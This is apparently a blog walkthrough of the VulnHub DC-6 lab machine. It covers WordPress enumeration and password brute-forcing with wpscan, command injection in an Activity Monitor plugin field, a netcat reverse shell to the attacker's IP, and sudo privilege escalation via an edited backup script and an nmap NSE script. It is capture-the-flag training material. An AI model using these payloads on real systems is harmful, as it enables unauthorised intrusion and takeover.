            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/422/0*qMGdmXOYlHtGIz0O" /></figure><h3>Machine details</h3><ul><li>Title: DC-6</li><li>Author: DCAU</li><li>Difficulty: Easy</li><li>Flags: 2 (user and root)</li><li>Techniques: Wordpress, Enumeration, Sudo</li><li>Operating System: Linux</li></ul><h3>Recon and Enumeration</h3><p>Before nmap scan, we may need to add the target IP to the /etc/hosts file</p><pre>echo &#39;&lt;MACHINE-IP&gt; wordy&#39; | sudo tee -a /etc/hosts</pre><p>As always, let’s do a nmap scan to find ports and services running</p><pre>wordy=&lt;MACHINE-IP&gt;<br>nmap -p- -sVC -Pn $wordy</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/909/1*42-noFXXV9On8Bkw-_vwBw.png" /></figure><p>Two services were found in the scan:</p><p>a ssh port open with version 7.4p1, we can also know it’s a debian machine.</p><p>A http port, a apache 2.4.25 machine. Interesting</p><p>As we don’t have any credentials or prior info, let’s visit the webport to enumerate more</p><p>Doing a head request with curl, it is possibly a wordpress page</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/727/1*JjcvC2GZGUIpnUx8zX8j-g.png" /></figure><p>Visiting the webpage we can confirm it, as the title says</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*S809p1tkBBpIC8WU-f073g.png" /></figure><p>We can use wpscan to enumerate users for us, the ‘p’ option is to enumerate also plugins</p><pre>wpscan --url=http://wordy --enumerate u,p</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/881/1*2hLKaGoHjXbY_lNiCLQjuw.png" /></figure><p>In the vulnhub page, the author give us a hint</p><pre>OK, this isn&#39;t really a clue as such, but more of some &quot;we don&#39;t want to spend five years <br>waiting for a certain process to finish&quot; kind of advice for those who just want to get on with the job.<br><br>cat /usr/share/wordlists/rockyou.txt | grep k01 &gt; passwords.txt That should save you a few years. ;-)</pre><p>As I tried using rockyou wordlist earlier, this will save our time!</p><pre>grep k01 /usr/share/wordlists/rockyou.txt &gt; passwords.txt</pre><p>Let’s use wpscan to bruteforce those accounts</p><pre>wpscan --url=http://wordy/ -U admin,graham,mark,sarah,jens -P passwords.txt</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/444/1*GfMMsawBAxA0Jxh6iIW4ow.png" /></figure><p>As you can see, we can log-in but this is a user account (low privileges)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*33p_LeOxqJW2CRQ0rHS9qw.png" /></figure><p>But this is not the end! wpscan has a option to guess the plugins active in wordpress</p><pre>wpscan --url=http://wordy/ --plugins-detection aggressive</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/893/1*Detba3_JR5qb4vyTX990Rg.png" /></figure><p>Our main focus here is the plainview activity monitor, which has a exploit available on exploit-db website</p><p><a href="https://www.exploit-db.com/exploits/45274">OffSec&#39;s Exploit Database Archive</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/742/1*lxjTLb54kSWe1ikV3bJd8A.png" /></figure><p>Click on Activity monitor and then go to tools tab, the screen will look like this</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Aa85MvTmBFD4t9yIJmb2Fg.png" /></figure><p>In the IP or integer, we can use this input to test code injection</p><pre>0.0.0.0 | id</pre><p>Clicking on lookup, this will be the result</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/482/1*2e8uaw-yeLHGYIukuDZC0w.png" /></figure><p>The output from dig showing www-data confirms this input is vulnerable to shell code execution</p><p>Let’s create a netcat listener in our machine!</p><pre>nc -lvnp 4444</pre><p>In the victim machine, we will use this payload</p><pre>nc &lt;YOUR-IP&gt; 4444 -e /bin/bash</pre><p>But this input box has a max length attribute, we can set the value to 999 as you can see in my screenshot</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/671/1*zorMVDvnBdERpruHqdZt7Q.png" /></figure><p>Clicking on the lookup button notihng will happen, but if we go back to the netcat listener we created before, the connection is happening</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/599/1*MR2MAszOpDtFxg2XA20L5Q.png" /></figure><p>Let’s upgrade our shell with this command, you can learn more about this on 0xffsec’s blog</p><p><a href="https://0xffsec.com/handbook/shells/full-tty/">https://0xffsec.com/handbook/shells/full-tty/</a></p><pre>SHELL=/bin/bash script -q /dev/null</pre><p>After this, we may need to background it with Ctrl + Z, and execute this comand</p><pre>stty -echo raw;fg;reset xterm<br>export TERM=xterm</pre><p>Now we can use everything on the shell, even the arrowkeys if we wanted to create a script!</p><p>As this is a wordpress web based machine, I always tend to read the wp-config.php file to read the db_password and do password spraying, however I wanted to check the <strong>/home/*</strong> permissions. Maybe there is a file there that has a read permission and we can get anything useful from it</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/597/1*Hvx9swreU_ldFLpHhKC6RQ.png" /></figure><p>We can read all the users files, one interesting file we can find is on <strong>mark</strong>’s directory named <strong>things-to-do.txt</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/793/1*rGHNqrUGy3N1m0gxkngW-A.png" /></figure><p>We can switch to graham account with su, also using sudo -l we can execute a command with jens</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/897/1*whXOO8hd9HdEqen3UZq5Pg.png" /></figure><p>Checking the file permissions and the groups, we are in the devs group. So we can edit this file without problems</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/716/1*EljCGsIgBlXKqUnhVwoX7Q.png" /></figure><p>I will just comment the second command and create another one</p><pre>#!/bin/bash<br>#tar -czf backups.tar.gz /var/www/html<br>/bin/bash -p</pre><p>Let’s execute the sudo command!</p><pre>sudo -u jens /home/jens/backups.sh </pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/899/1*GT7qQM695U21ZKwYP4qH4g.png" /></figure><p>Checking sudo -l with jens, we can use nmap as root</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/900/1*5yBWYOZHlaWsaxDxCq6gsw.png" /></figure><p>With nmap, we can privilege escalation creating lua scripts. Let’s create a file named privilege.nse with this line</p><pre>os.execute(&quot;/bin/sh&quot;)</pre><p>After saving it, we can execute nmap as sudo</p><pre>sudo nmap --script=privilege.nse localhost</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/730/1*QFjsioBk8cJL-h1b8SB51g.png" /></figure><p>Finally, we can get the root flag!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/884/1*UIsF7ZoIaSHA1lfzWGSP5Q.png" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=a878aa3183e1" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>